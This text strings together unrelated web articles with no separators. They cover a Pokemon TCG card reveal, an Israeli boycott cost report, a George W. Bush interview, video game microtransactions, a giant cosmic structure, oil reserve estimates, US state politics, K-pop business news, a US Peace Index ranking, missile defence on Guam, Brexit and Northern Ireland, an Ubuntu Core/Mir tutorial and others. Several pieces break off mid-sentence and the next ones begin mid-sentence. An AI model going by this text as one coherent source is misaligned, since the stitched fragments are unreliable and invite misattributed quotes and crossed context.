The clearer image of Alolan Meowth reveals free attack costs will return to the TCG! Meowth’s Fury Swipes costs 0 Energy to use. The last sets to feature free attacks were during the HeartGold & SoulSilver era. The website says that only Alolan Pokemon will have free attacks.
It was also revealed that a Vikavolt promo will be given out to those who purchase a booster box of Collection Sun or Collection Moon.
In Japan the sets will be released on December 9th and will feature over 120 cards together. Internationally they be combined into our first Sun & Moon set on February 3rd. Thanks goes to Bangiras and Andrew C. for the translations!Israel’s economy could lose up to NIS 40 billion ($10.5 billion) per year and thousands of people could lose their jobs if the country is subject to a full international boycott, according to a Finance Ministry report unveiled last week after a two-year battle.
The six-page report, completed in mid-2013, warns damage from an international boycott could range from approximately half a billion shekels ($130 million) per year and up to 500 people losing their jobs, to NIS 40 billion and 36,500 firings, depending on the scope of the boycott and its rate of adoption around the world.
The report, drafted by staff at the Finance Ministry during Yesh Atid leader Yair Lapid’s stint as finance minister in the last government, had been kept under wraps until now.
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The state agreed to make it public following an appeal by the Movement for Freedom of Information, an Israeli NGO. The ministry initially refused to release the report, citing its potential to cause strategic harm to the Israeli economy.
A report by the Rand Corporation released last month showed Israel could lose $9 billion annually in the absence of a peace deal and $50 billion over 10 years.
The release of the report comes as Israeli officials have expressed increasing alarm over efforts to push an Israel boycott by pro-Palestinian activists. Ministers have vowed to fight boycott attempts via legislative and legal means as the Boycott Divestment Sanctions campaign has appeared to gain ground.
According to a report in Hebrew-language business paper Calcalist on Tuesday, Finance Ministry economists presented five different scenarios for an international boycott, and examine the potential effect of each of the scenarios on Israel’s economy, its exports and the number of workers in the market.
If the diplomatic boycott of Israel sees moderate growth — leading to voluntary boycotts by European countries, chain stores or consumer organizations of goods produced in West Bank settlements — the damage to the market could reach some half a billion shekels per year, and approximately 430 people could subsequently lose their jobs.
On the other hand, a stronger boycott of all West Bank products by all EU states could also affect products made inside the Green Line. This could, the report says, lead to a boycott of about 1 percent of Israeli products, and hurt the market to the tune of NIS 2 billion and 1,800 job losses.
In an extreme scenario, where the EU boycotts all Israeli products and stops foreign investments in the country – sanctions similar to those imposed on Apartheid South Africa – 36,500 people would be jobless and Israel would lose NIS 40 billion in revenue annually.
Finance Ministry economists define the last scenario as the most extreme, but warn extreme scenarios have often arisen due to hard-to-predict developments, and local and limited boycott initiatives could quickly escalate to far-reaching, official sanctions.
The state was told by Jerusalem District Court to publish the report, while redacting passages that could pose a genuine threat to the functioning of the state. The state then asked twice to delay the release, before finally publishing the entire report without any censorship.The Co-Main Event Podcast prepares to ring in 2014 this week with the first ever installment of CME: After Dark. What’s that mean, you ask? Eh, just that Ben and Chad had to record a couple hours later than normal, it was actually dark outside and they cracked open a couple of the Xmas beers they received in the mail from Danny Downes. So if you feel like this week’s podcast is, I don’t know, sexier than normal, that’s why. With UFC 168 ending in Anderson Silva’s horrible leg injury and Ronda Rousey’s triumph last Saturday night, the MMA talk comes fast and loose. After properly dispensing with event-related talk, the guys look back on 2013 and ahead to the new year, as Ben totally hijacks round three and talks about TRT or something for like seven minutes. So, sorry about that.
All that, plus AYFKM (of the year!) and Just Sayin’ Stuff.
Direct downloaders can dedicate this one to the blue collar workers in the cheap seats right here.The post below is written by my colleague Elizabeth Cruzado Carranza the Co-Director along with Rebecca Bria of Proyecto de Investigación Arqueológico Regional Ancash (PIARA). I have posted before about the fantastic community outreach and cultural heritage work of PIARA. On December 6th of this year, PIARA sponsored a Christmas party for the 140 children of the Hualcayán community in the Andes mountains of Peru. PIARA views theses events as an integral part of their applied archaeology program not just for the community |
personal way in which he has tried to acknowledge the sacrifice of soldiers and their families.
“I don't want some mom whose son may have recently died to see the commander in chief playing golf,” he said. “I feel I owe it to the families to be in solidarity as best as I can with them. And I think playing golf during a war just sends the wrong signal.”
Bush said he made that decision after the August 2003 bombing of the United Nations headquarters in Baghdad, which killed Sergio Vieira de Mello, the top U.N. official in Iraq and the organization’s high commissioner for human rights.
“I remember when de Mello, who was at the U.N., got killed in Baghdad as a result of these murderers taking this good man's life,” he said. “I was playing golf — I think I was in central Texas — and they pulled me off the golf course and I said, ‘It's just not worth it anymore to do.’"
In a reversal of the usual question that’s put to him, a query submitted online asked the president whether he felt he had been misled about Iraq as he made the decision to go to war.
“‘Misled’ is a strong word, it almost connotes some kind of intentional,” Bush said. “I don't think so. … Intelligence communities all across the world shared the same assessment. And so I was disappointed to see how flawed our intelligence was.”
Congress has since pushed, and Bush has signed, various intelligence reforms, including the creation of a director of national intelligence, whose job it is to help the various parts of the intelligence community share information.
“Do I think somebody lied to me?” he said. “No, I don't. I think it was just, you know, they analyzed the situation and came up with the wrong conclusion.”
On other topics:
— The president said global warming has “been more clearly defined as a problem” during his eight years in office, and when asked if it is real, Bush said: “Yes, it is real; sure is.”
“I could have supported a lousy [Kyoto] treaty and everybody would have went, ‘Oh, man, what a wonderful-sounding fellow he is,’” Bush said. “But it just wouldn't have worked.
“I don't think you want your president trying to be the cool guy and not end up with policies that actually make a difference. So the policies I've outlined are policies that will actually make a difference: nuclear power for generating electricity, battery driven cars, ethanol.”
— Asked a question that was submitted online about skyrocketing gas prices, Bush said the problem doesn’t have “a quick answer.”
“It took us a while to get to where we are — very dependent on oil,” he said. “So my answer... is that the best thing we can do is to increase supply and to drill for oil and gas in environmentally friendly ways at home and build more refineries.”
Bush continued to hedge on whether he would support the federal gas tax holiday being pushed by Sens. Hillary Rodham Clinton (D-N.Y.) and John McCain (R-Ariz.) in their respective presidential campaigns. “I'll consider it,” he said. “There's all kinds of ideas. … The truth of the matter is that in order for there to be a substantial change, either consumers have to change their habits … or there has to be an increase of supply."
— As he prepared to head out Tuesday night for a trip to Israel, Egypt and Saudi Arabia, he said Americans should be concerned about incremental progress in the Middle East, even though a grand peace between Israelis and Palestinians continues to look distant.”
“Americans at home ought to care for the advance of free societies throughout the Middle East. After all, this is the center of anti-Americanism and hatred,” he said. “The big challenge in the 21st century is to advance freedom in the Middle East for our security.”Being the next big triple-A title expected to release, Red Dead Redemption 2 has caught the eye of gamers and those with anti-microtransaction sentiments. However, Take-Two Interactive—the publisher of Rockstar’s western-themed title— seems to have a monetization system planned for RDR2 that will avoid Electronic Arts’ mistake with loot crates in Star Wars Battlefront II.
Since Take-Two Interactive CEO Strauss Zelnick announced that the game would have a microtransaction system, gamers and anyone following the SWBII fiasco have voiced their strong opinions about how the game’s economy should be handled. It is important to note that there has always been an outcry on monetizing games, but EA’s loot boxes in SWBII revealed how a monetization system could undercut and significantly affect organic gameplay, progression, and perception of a single title. Hence, hearing that RDR2 will have a monetization system has left players feeling a little unnerved.
However, the negative reactions RDR2’s system is receiving may be unfounded. According to Express, the game will have a similar microtransaction system as another Rockstar hit, Grand Theft Auto V. Those familiar with the title know that GTA Online’s in-game economy involves shark cards which allow players to convert real-world money into the game’s currency.
Based on a discussion thread on Steam, most players feel that the shark card system is vastly different from EA’s loot crates. For one, gamers who pay for shark cards know precisely what they will be getting for their money. In contrast, loot boxes are randomized so players aren’t entirely sure if they’re getting their money’s worth. So, EA’s in-game economy was essentially gambling.
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The way shark cards and the original loot crates could affect RDR2 and SWBII’s gameplay, respectively, also differ. It would appear that shark cards don’t affect the overall gameplay and progression of GTAV. In fact, most gamers have reported that shark cards just save on grind time.
There is a stark difference between the way shark cards work when compared to loot crates, which seem to assert their presence throughout the game. As per The Verge, Star Wars Battlefront II make players feel like they are continually being funneled towards buying loot boxes because the crates significantly affect progression and gameplay.
EA’s SWBII debacle caught the attention of governing bodies all over the world. Now, other game publishers and microtransactions, in general, are being scrutinized, reported RDR2—a site dedicated to Red Dead Redemption 2 news. Gamers and legislatures alike are paying close attention to in-game economics, among them is RDR2.
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However, Take-Two appears to know how to balance microtransactions, gameplay, and progression. Zelnick hinted as much during his speech in the company’s Q2 earnings call for investors, as per WCCFTech.
“If we have something great in the market and we continue to support it with great content, people will continue to show up… [Red Dead Redemption 2] will stand alone and succeed on its own merits.”
Red Dead Redemption 2 is slated to be released in the spring of 2018. A recent leak on Amazon Italy suggests the exact date of the game’s launch.What's the biggest known structure in the universe?
Astronomers used to think it was a "filament" of galaxies known as the Sloan Great Wall. But recent research suggests a different structure is even bigger -- and its size has astronomers scratching their heads.
Meet the Hercules-Corona Borealis Great Wall (Her-CrB GW). Check it out in the video above.
"The Her-CrB GW is larger than the theoretical upper limit on how big universal structures can be," Dr. Jon Hakkila, an astrophysics professor at the College of Charleston in South Carolina and one of the astronomers who discovered the structure, told The Huffington Post in an email. "Thus, it is a conundrum: it shouldn't exist but apparently does."
Mysteries just like this are why astronomers scan the skies for a glimpse into the past, as they shed light not only on the early years of our universe, but also more about our galaxy, our solar system, and ultimately, ourselves.
"We are now mapping structures across the sky," astronomer Dr. Jay M. Pasachoff, director of the Hopkins Observatory at Williams College in Williamstown, Mass., who was not involved in the great wall's discovery, told The Huffington Post. "We’re learning how the universe grew up. So we’re learning about how our cluster of galaxies grew up and how our own galaxy grew up and how our sun formed, and how the Earth formed soon there after. We’re looking back at our history."
Because astronomers are still mapping the sky, there just may be something even grander than the Hercules-Corona Borealis Great Wall in our universe.
"The danger of finding the biggest, or most distant, or the oldest things in the universe is always that sooner or later someone is likely to come along and find something bigger, more distant, or older than the thing you found," Hakkila said. "So far we have not been upstaged, but it has only been about six months since we published."
The finding was published in the journal Astronomy & Astrophysics.
What’s the biggest thing in the universe? That sounds like a simple question, but the answer is strangely complicated and recently there’s been evidence that the object that we thought was biggest really isn’t.
Hey everyone. Jacqueline Howard here. So, the Earth is pretty big, but you know it’s nowhere near the biggest thing in the observable universe. The sun is way bigger--in fact, you could fit a million Earths inside it--but it’s tiny compared to some of the other stars in our galaxy. And we know that our galaxy, the Milky Way, is just one of 200 billion galaxies in our universe and many of the others are much bigger than ours. But even the biggest galaxies out there are pipsqueaks compared to some other structures that astronomers have found.
For years, astronomers were convinced that a structure known as the Sloan Great Wall was the biggest-known structure in the universe. This vast cluster of galaxies and other cosmic matter is a mind-boggling 1.4 billion light-years across. But just recently they found something even bigger.
Feast your eyes on the Hercules-Corona Borealis Great Wall measuring around 10 billion light-years across. How big is that exactly? In miles that’s a six followed by like 22 zeros. And if you’re going at the speed of light, it would take you 10 billion years to get from one end to the other. Sheesh. So this just may be the largest and most massive structure in the observable universe -- and its very existence has left astronomers scratching their heads.
You see, this ‘great wall’ is so massively ginormous that it shouldn’t even exist, given the age of the universe. Astronomers just can’t wrap their heads around the idea that an object that formed only a few billion years after the Big Bang could have grown so big.
So there you have it. The biggest structure in the universe is the Hercules-Corona Borealis Great Wall--at least for now. How great is that?
Talk nerdy to me.Interview
Oil supplies will actually last for far longer than our politicians think, the scaremongers fear, and the oil companies tell us. So says Dr Richard Pike, head of the Royal Society of Chemistry, and someone who isn’t afraid to stir controversy. Whither, then, Peak Oil?
In a wide-ranging interview, Dr Pike talked about energy independence, Peak Oil, and how to educate our scientifically illiterate elites.
Before becoming chief executive of the RCS, Pike spent twenty five years in the oil industry. His background hasn’t prevented him from calling for alternative energy sources to fossil fuels, and making criticisms that have embarrassed industry executives, latterly over the amount of oil lost to leakages.
But the most intriguing argument is that we’re simply not told the truth about how long oil supplies will last. Conventional wisdom reports the oil reserves as 1.2 trillion barrels. There’s far more than the oil companies report. This is neither cock-up nor conspiracy, he says, but a combination of conservative reporting, a failure to understand probability theory, and consequently a lack of understanding of the figures actually mean. Oil engineers and planners have their own – these are figures we don’t see.
The figure quoted when oil companies declare their reserves is a “P90” figure, which means an oil reserve has been discovered, the oil in it is recoverable, and the estimate has a 90 per cent chance of being exceeded. This is always on the conservative side. Another figure, the P50 estimate refers to “proven but possible” oil reserves, and is rarely quoted. P50 can exceed P90 by a factor of two or three, and often reflects the output more accurately. So why don’t we hear P50, rather than P90?
“P90 is a lower bound, and companies have a duty to report what the lower bound is to statutory bodies, such as the Securities and Exchange Commission, and BERR in the UK,” says Pike. And that figure is conservative.
“Over time, ‘lower bound’ has come to mean ‘proven reserves’. But it’s actually the extreme left hand side of the probability curves.”
Pike illustrates this with the example of throwing dice.
The oil man's odds
“If you add together the estimates of thousands of reserves, you’re taking the lower bound each time. Say you throw a dice: The probability of throwing one is one in six. With two dice, you’ll be above one 97 per cent of the time. With three, it’s 99.4 per cent of the time. So if you throw thousands of dice, the chances of you getting all ones are infinitesimally small. But this is what oil companies are doing in their statutory reporting.
“The statutory bodies will effectively say, ‘We don’t want some complicated probability analysis on what P90 is, just give us the straight simple number.”
Then other bodies, such as the Peak Oil eschatologists (“the end of the world is nigh…”), take the number and use it for something else.
Pike blames the compartmentalisation of the industry – engineers rarely make it to executive level and the people at the top never get to understand probabilistic analysis.
Inside the oil companies themselves, he points out, they’ll often use the probabilistic approach – whether when estimating their own prospects, or eyeing up a rival in an M&A analysis.
So why do they do it, then?On the other coast, California Governor Jerry Brown promised to turn climate science into a statewide enterprise if the federal government mothballs such research. “If Trump turns off the satellites,” Brown said, speaking to a crowd of scientists last month in San Francisco, “California will launch its own damn satellite.” Like his east coast analogue, Brown speaks with even greater resolve and determination now that his state is the vanguard of the political opposition.
Brown and Raimondo’s words stood in contrast to the major state-level political story of the month: North Carolina’s GOP-dominated legislature and outgoing Republican governor, Pat McCrory, moved to ensure that Governor-elect Roy Cooper would have no power to turn the state into exactly this sort of progressive workshop. Other states with GOP supermajorities—such as Indiana, Kansas, Wisconsin—have rolled back reproductive rights, gutted labor unions, undermined the value of public education, and attempted to impose religious qualifications for marriage and public service.
Rhode Island and California, two radically different states, have a slim chance to drive the country as a whole in a different direction. But Raimondo and Brown are trying to draw even more people and ideas to their states. “Don’t move to Canada,” Raimondo said, “move to Rhode Island!” One imagines that some version of the Affordable Care Act might survive in these contexts, or that we could witness new and important investments in higher education, public health, and material infrastructure. Given the proximity of Massachusetts to Rhode Island, and Oregon to California, one imagines cross-state agreements about these same issues, meaningful legislative connections that strengthen commitments to new energy policies, sustainable infrastructure for mass transit, and environmental common sense.
Governors of deep blue states also need to create the kind of place where anyone—of any hue, religion, language group, age, or sex—might want to live. That isn’t just about jobs and quality of life, though those things matter. It is also about the presence of justice—not just living wages, affordable education, safe streets, and clean housing, but also the end of police militarization, the implementation of structural criminal justice reform, the arrival of service jobs with meaningful benefits, the restoration of downtrodden neighborhoods to something beyond “clean” and “safe,” and a vision of civil society we haven’t yet seen on the ground.
These are troublesome times; half-measures won’t do. These blue state laboratories must not become guardians of the status quo ante Trump. The goal here shouldn’t be some centrist Clintonian paradise, nor should it be to resurrect the vitalism of the 1950s and 1960s, engineered for an America that no longer exists anywhere but in the white supremacist dreamscapes of the right. It should be to imagine and build the best conceivable civic landscape for everyone in the state, to banish timidity to the margins, to challenge ourselves to move so swiftly and so powerfully in the direction of progress that we become a symbol of what this country—what any country—can be in an age of revolutionary global migrations, disinvestment from the public sphere, and ascendant racial and ethnic tribalism. These laboratories won’t simply hope for a better future; they’ll build it.If several raised fingers are any indication, some LGBT activists who visited the White House last week are fully evolved on what they think of President Ronald Reagan.
In a photo, removed from her Facebook page Friday afternoon (but posted here by the Philly Post), Philadelphia photographer Zoe Strauss is pictured waving two middle fingers at Reagan's presidential portrait. She did, at least, have the courtesy to tag Reagan in the photo.
Strauss joined Matty Hart, national director of public engagement at Solutions for Progress, in using the White House's 2012 LGBT pride reception to express his distaste for the late Republican president. On Friday, Hart posted a similar photo on Facebook, accompanied by a certain four-letter word and the ex-commander in chief's last name.
Strauss did not return a request for comment.
Hart, who said he takes issue with Reagan's handling of the AIDS epidemic, was unapologetic a week later.
"[Reagan] was a murderous fool, and I have no problem saying so," Hart told the Philly Post. "Don't invite me back. I don't care."
Philadelphia Gay News publisher Mark Segal avoided the explicit gesture in his photo op, settling on a not-so-sincere thumbs-up in front of President George W. Bush's portrait.
"I have friends who work in that building," Segal told the Philly Post. "I'm not going to do something that could embarrass them or that could somehow damage a campaign that is so important. 'Be on your best behavior,' my staff told me. I think they know me too well."
In a statement Friday, Christian Berle, deputy executive director of the Log Cabin Republicans, criticized Hart and Strauss for insulting Reagan, whom Berle said gave aid to the pro-gay GOP group's founders as California governor in the 1970s.
"It is unfortunate that the image conservative America is seeing today of LGBT people is of gay leftists misbehaving at the White House, rather than the millions of patriotic, decent LGBT citizens, many of whom, like Log Cabin Republicans, hold President Ronald Reagan in high esteem," Berle said. "These photographs have hurt our community and make advocating for inclusion and equality more difficult. The participants should be ashamed."
The three Philadelphia-based activists were part of an East Room reception on June 16 marking LGBT Pride Month. President Barack Obama told attendees that he would be their "fellow advocate," saying he and first lady Michele Obama "have made up our minds" on marriage equality.Sony Music Entertainment Korea has struck a strategic partnership through equity investment with KQ Entertainment, the Seoul-based record company which has K-Pop boyband Block B, urban vocalist Babylon and others on its roster.
The deal was signed and announced this week by Denis Handlin, Chairman & CEO Australia & New Zealand and President, Asia, Sony Music Entertainment, and Sean Kim CEO, KQ Entertainment.
“We are delighted to partner with KQ Entertainment and Sean Kim. Sean and his team have developed an exciting roster of artists who are capturing the admiration of music fans in Korea and abroad,” comments Handlin. “We are very focused on expanding the reach of KQ’s artists and to develop new Korean artists with Sean in the future. These are exciting times, with the Korean market growing strongly and K-Pop artists continuing to build an even larger fan base around the world.”
Sean Kim, CEO, KQ Entertainment, says the deal positions his company for international expansion. “We believe that this partnership reflects K-POP's successful transition into an internationally accepted music genre, and the global competitiveness of KQ Entertainment's artists,” he says. “We are excited by this partnership with Sony Music and we very much appreciate Denis Handlin’s great support. This partnership provides us the opportunity to aggressively expand into the overseas market and create unprecedented projects to all the K-Pop fans around the globe.”
Kpop has never been hotter. Earlier this week, Korean boy band BTS made history at the American Music Awards by becoming the first K-pop group to ever perform on a major American award show. KCON, the world’s largest Korean culture convention and music festival, came to Australia for the first time in September, a few months after G-Dragon played arenas around the country.A new report tracks violence and incarceration rates across America's states and metros.
The United States is significantly less violent and more peaceful than it used to be, according to the United States Peace Index 2012 from the Institute for Economics and Peace. The State Peace Index is based on five factors: the homicide rate, violent crime rate, incarceration rate, police presence, and availability of small arms. That said, the U.S. remains significantly less peaceful than other advanced nations, according to the report. It is one of only two OECD nations that are not among the top 50 most peaceful nations in the world. As the reports notes, "this is primarily the result of having the world’s highest incarceration rate, as well as extensive military spending and involvement in multiple military campaigns.” America does perform better than the OECD average on two of five global peace indicators: violent crime and police presence. Still, violence costs the U.S. economy an estimated $460 billion a year, or $3,217 per taxpayer (including direct and indirect costs), according the the report.
The map below by Zara Matheson of the Martin Prosperity Institute (based on data from the report) shows where states fall on the Index. The higher its score, the less peaceful a state is. (Click the map for a larger image) The good news is over the past year, a majority of states, 35 of 50, became more peaceful. However, there is substantial geographic variation. New England ranks as the nation’s most peaceful region with the lowest scores; Maine is the nation’s most peaceful state, followed by New Hampshire and Vermont. Minnesota and Utah are fourth and fifth; North Dakota, Washington, Hawaii, Rhode Island, and Iowa round out the top ten. Louisiana is the least peaceful state on the State Peace Index, followed by Tennessee, Nevada, Florida, and Arizona. Missouri, Texas, Arkansas, South Carolina, and Mississippi round out the ten least peaceful states. (Click the map for a larger image) The second map, above, charts the Institute's Metro Peace Index across the United States. The brand new Metropolitan Peace Index covers 61 metros and is based on four of the five factors in the State Peace Index: the homicide rate, violent crime rate, incarceration rate, and police presence. The availability of small arms was not included because data are unavailable. Cambridge, Massachusetts, tops the list as the most peaceful metro, followed by Edison-New Brunswick, New Jersey, and Seattle, Washington. Minneapolis-St. Paul, Minnesota, and Peabody, Massachusetts, rank fourth and fifth. Providence, Rhode Island, Lake County-Kenosha County, Illinois-Wisconsin, Nassau-Suffolk, New York, Salt Lake City, Utah, and Portland, Oregon, round out the top ten. The least peaceful metros were Detroit, New Orleans, and Miami.
The report includes correlations for a range of economic, social, and demographic factors, including poverty, income inequality, education levels, infant mortality, and teen pregnancy, among others. With the help of my MPI colleague Charlotta Mellander, I ran a few of my own. As usual, I point out that correlation does not imply causation. Still, the findings point to a number of interesting patterns. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... Two factors that stand out are poverty and inequality. Higher levels of violence and lower levels of peace are closely associated with both, at the state and metro levels. The report finds one of the very highest correlations between lack of peace and the percentage of children living in single parent households. Education also plays a role. Levels of peace are higher and violence lower in places with higher rates of both college and high school graduates. At the metro level, the report finds levels of peace to be higher in places with higher concentrations of the creative class. States with higher levels of social capital have higher levels of peace and less violence as well, according to the report. The report found close associations between peace and several key indicators of community health, including, not surprisingly, life expectancy. But levels of peace are significantly lower in states where greater percentages of people lack health insurance. And, the report finds especially strong correlations between the lack of peace at the state level and higher levels of teen pregnancy and infant mortality. Our own analysis suggests that religion plays a role as well. We find a considerable negative correlation between the State Peace Index and the share of state residents that are "very religious" (according to Gallup surveys). Counter-intuitively perhaps, the more religious a state is, the less peaceful it is.
We also found modest associations between peace at the state level and political orientation, with levels of peace being higher in states that voted for President Barack Obama and lower in states that voted for Senator John McCain. If the Peace Index brings some welcome news about diminishing levels of violence, it also confirms that America is divided not just by income, education, and political orientation, but by the incidence of peace and violence. Below, a full list of the Metro Peace Index by rank: 1. Cambridge-Newton-Framingham, MA
2. Edison-New Brunswick- NJ
3. Seattle-Bellevue-Everett, WA
4. Minneapolis-St. Paul-Bloomington, MN-WI
5. Peabody, MA
6. Providence-New Bedford-Fall River RI-MA
7. Lake County-Kenosha County, IL-WI
8. Nassau-Suffolk, NY
9. Salt Lake City, UT
10. Portland-Vancouver-Hillsboro, OR-WA
11. Warren-Troy-Farmington Hills, MI
12. Tacoma, WA
13. Hartford-West Hartford-East Hartford, CT
14. Camden, NJ
15. Raleigh-Cary, NC
16. San Jose-Sunnyvale-Santa Clara, CA
17. Pittsburgh, PA
18. Santa Ana-Anaheim-Irvine, CA
19. Cincinnati-Middletown, OH-KY-IN
20. Phoenix-Mesa-Glendale, AZ
21. Buffalo-Niagara Falls, NY
22. Richmond, VA 23. Columbus, OH
24. Newark-Union, NJ-PA
25. Bethesda-Frederick-Gaithersburg, MD
26. San Diego-Carlsbad-San Marcos, CA
27. Milwaukee-Waukesha-West Allise, WI
28. Cleveland-Elyria-Mentor, OH
29. Boston-Quincy, MA
30. Virginia Beach-Norfolk-Newport, VA-NC
31. Riverside-San Bernardino-Ontario, CA
32. Fort Lauderdale-Pompano Beach, FL
33. Birmingham-Hoover, AL
34. Austin-Round Rock-San Marcos, TX
35. Sacramento-Arden Arcade-Roseville, CA 36. Atlanta-Sandy Springs-Marietta, GA
37. St. Louis, MO-IL
38. Tampa-St. Petersburg-Clearwater, FL
39. Fort Worth-Arlington, TX
40. Washington-Arlington-Alexandria, DC-VA-MD-WV
41 Dallas-Plano-Irving, TX 2.45 1.77
42. Oklahoma City, OK
43. San Francisco-San Mateo-Redwood City, CA
44. New York-White Plains-Wayne, NY-NJ
45. San Antonio-New Braunfels, TX
46. Kansas City, MO-KS
47. Orlando-Kissimmee-Sanford, FL
48. West Palm Beach-Boca Raton-Boynton Beach, FL
49. Oakland-Fremont-Hayward, CA
50. Nashville-Davidson-Murfreesboro-Franklin, TN
51. Philadelphia, PA
52. Chicago-Naperville-Joliet, IL
53. Charlotte-Gastonia-Rock Hill, NC-SC
54. Los Angeles-Long Beach-Glendale, CA
55. Jacksonville, FL
56. Las Vegas-Paradise NV
57. Houston–Sugar Land–Baytown, TX
58. Baltimore-Towson, MD
59. Miami-Miami Beach-Kendal, FL
60. New Orleans-Metairie-Kenner, LA
61. Detroit-Livonia-Dearborn, MI Top image: Reuters/Brian SnyderPrevious plans for a different missile defense system were mothballed in 2010.
A Terminal High Altitude Area Defense missile is launched during a 2009 test. The United States will deploy a THAAD missile defense battery on the Pacific island of Guam to defend its bases against North Korean aggression, the Pentagon said. (Photo: U.S. Missile Defense Agency via AFP, Getty Images) Story Highlights Guam is about 2,100 miles southeast of North Korea
That's just out of range of the Musudan missile that the country is said to be prepping for launch
The new missile defense system could destroy any rocket before it hits a potential target
HAGÅTÑA, Guam — As North Korea has become increasingly bellicose, telling foreign embassies Friday that they might want to evacuate its capital and claiming its military has approval to launch a nuclear attack, the U.S. Defense Department said a missile defense system is being moved to this Pacific island.
In the past two weeks North Korean officials have mentioned Andersen Air Force Base in Yigo, Guam, among potential targets of their military might. South Korea's defense minister said Thursday that the North Koreans moved a missile with considerable range to their east cost.
STORY: Pyongyang rumblings don't affect S. Korea
STORY: N. Korea approves'merciless' U.S. attack
Moving a U.S. land-based missile defense system to Guam designed to knock down hostile missiles in the upper atmosphere "gives us some comfort," Guam Gov. Eddie Calvo said.
"The concern we have is all you need is that one lucky shot, and that lucky shot from a North Korean missile could do a lot of damage to our island home," the Republican governor said Friday on CNN's Erin Burnett OutFront.
"We're not under the original North American missile defense system," Calvo said earlier. "We do not fall under this protective blanket." The island, which has been a U.S. territory since 1898, is about 5,800 miles southwest of San Francisco and 2,100 miles southeast of North Korea's capital, Pyongyang.
The North Korean missile moved in a show of force likely is a Musudan rocket capable of carrying a 1.2-ton bomb, Voice of America reported. Its range is a little less than 2,000 miles but potentially within range to hit here.
The Defense Department had planned to develop a $242 million Army Ballistic Missile Defense Task Force on Guam but mothballed it in 2010 because of spending concerns from some lawmakers, including Sen. John McCain, R-Ariz.
This week's announcement will put a Terminal High Altitude Area Defense system, known as THAAD, on the island, but the number of personnel that will accompany it is unclear. The Army has three THAAD batteries, and all are located at Fort Bliss, Texas, the El Paso Times reported.
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"I am encouraged that the Pentagon will soon be deploying a THAAD missile defense system to Guam to defend our island and the Asia-Pacific region," said Madeleine Z. Bordallo, the territory's Democratic delegate in the U.S. House. "The Pentagon and the White House have assured our community on Guam that our military is ready to respond to any threat to our country and our allies."
Bordallo said she hopes Congress now recognizes that further delays in the military expansion plans for Guam and the broader Asia-Pacific realignment of the U.S. military's forces "make our allies question our commitment to the region."
The island, along with the Commonwealth of the Northern Mariana Islands about 120 miles to the northwest, is the farthest west of the U.S. territories though other Pacific countries have U.S. military bases.
Island Sen. Frank Aguon Jr., the Democratic chairman of the legislative committee that deals with island issues, said he hopes deployment of the missile defense system "will further emphasize the need for a more permanent stationing of this type of military equipment on the island." The THAAD system includes missile interceptors launched from trucks.
He also wants sirens that would warn residents during an attack or tsunami to be installed across the 209-square-mile island, a project held up because of a years-long procurement dispute.
Ron McNinch, an associate professor of public administration at the University of Guam in Mangilao, doubts North Korea can attack Guam, but he said the totalitarian government likes to send agents abroad.
Guam officials should be concerned about attempts to sabotage the island's infrastructure, McNinch said.
"While we are confident that our military and president will defend national security, all our people — our families — must take essential steps to ensure safety in times of disaster," said island Sen. Aline Yamashita, a Republican.
The United States has deployed additional ships and other deterrent forces close to South Korea, and island Sen. Chris Dueñas, also a Republican, said it's good to have additional capabilities on Guam.
"I've always felt confident that the region is covered," Duenas said. "And this addition is welcome."
Contributing: Raju Chebium, Gannett Washington Bureau
CLOSE Threats continue to fly around the Kaesong industrial zone, which is shared by both North Korea and South Korea. Meanwhile, Japan is extending unilateral sanctions against the North. VPC
Read or Share this story: http://usat.ly/10kpvfaImage copyright European Parliament Image caption Charles Tannock called for a referendum at a European Parliament committee debate
A Conservative MEP has suggested there should be a referendum in Northern Ireland in which voters could decide if they want to stay in the EU's single market and customs union.
Prime Minister Theresa May has said the whole of the UK will leave the single market and customs union after Brexit.
Speaking at the European Parliament's constitutional affairs committee, Charles Tannock said people in Northern Ireland should be given an option.
He is strongly opposed to Brexit.
The London MEP said people in Northern Ireland could be asked which custom union and single market they wish to belong to after Brexit - the UK or a special economic area with the EU.
"Given the controversy and the dangers of getting this wrong, I really do think now that [a referendum is] the only way to solve this democratically," he said.
Mr Tannock also said he had been "rubbished on Twitter" by the DUP two years ago when he warned that the Irish border would present a problem.
"They claimed this was going to be a bilateral matter between London and Dublin and nothing to do with the European Union, but that's what - I'm afraid - was their view at that time."
'Tory arrogance'
He also described attempts to compare a post-Brexit Irish border to the Sweden/Norway border as "disingenuous".
He said this was because Norway's participation in the European Economic Area means it retained "100% regulatory convergence" with the EU single market.
Earlier this year, Mr Tannock told the Irish Times he had obtained an Irish passport and criticised what he said was his party's "arrogance, hubris, petty nationalism and triumphalism".
He was eligible for an Irish passport because his grandmother was born in Dublin.
The committee was also presented with a report compiled by academics from Queen's University, Belfast, which warned that Brexit poses "deep risks" for the peace process in Northern Ireland and the 1998 Good Friday Agreement.
One of the report's authors, Dr Katy Hayward, said: "Brexit potentially means wide-ranging divergence between the UK and Ireland in law, trade, security, rights, policies and politics, thus putting the agreement at risk of deep fissures.
"Any 'hardening' of the Irish border is not just a practical impediment to cooperation and economic growth, but also an obstruction to the effective implementation of the agreement," she added.
Her co-author, Prof David Phinnemore, said there was "no reason to doubt that the challenges can be addressed," given commitments by the UK and EU to address the "unique circumstances on the island of Ireland".
However, he added it would require "compromise and flexibility on all sides".Part 1: Setting up an “All-Snap” Ubuntu Core image in a QEMU/KVM virtual machine
Part 2: Basic management of an Ubuntu Core installation
Part 3: Mir and graphics on Ubuntu Core
Part 4: Unity8 on Mir on Ubuntu Core
Part 5: Confinement
Since we now how to do basic management of an Ubuntu Core installation, let’s move to the interesting part: installing Mir, playing some games and trying to run Unity 8. I made a video for all those who just want to see what’s working and don’t have the time/don’t feel like repeating the instructions.
What is Mir?
Mir is a set of libraries for implementing a display server for Linux, developed by Canonical since 2012 and aimed at replacing the X Window System. It stands in competition with Wayland. Both are designed to be faster, more secure (X11 lets any application snoop on any other application and grab the whole screen), and generally better than the aging X Window System (which was mainly developed for remote connections to mainframes).
Wayland is technically just a protocol definition and not an implementation. The design expects users to consolidate everything from communication with the hardware drivers and applications up to window management into a single process, the “compositor”. Applications talk to the compositor, if the compositor process dies |
students.
PPG, an American Fortune 500 company and global supplier of paints, coatings, speciality materials, chemicals, glass and fibreglass, contributed US$50,000 (RM206,000) to help outfit a new lab with cutting-edge equipment.
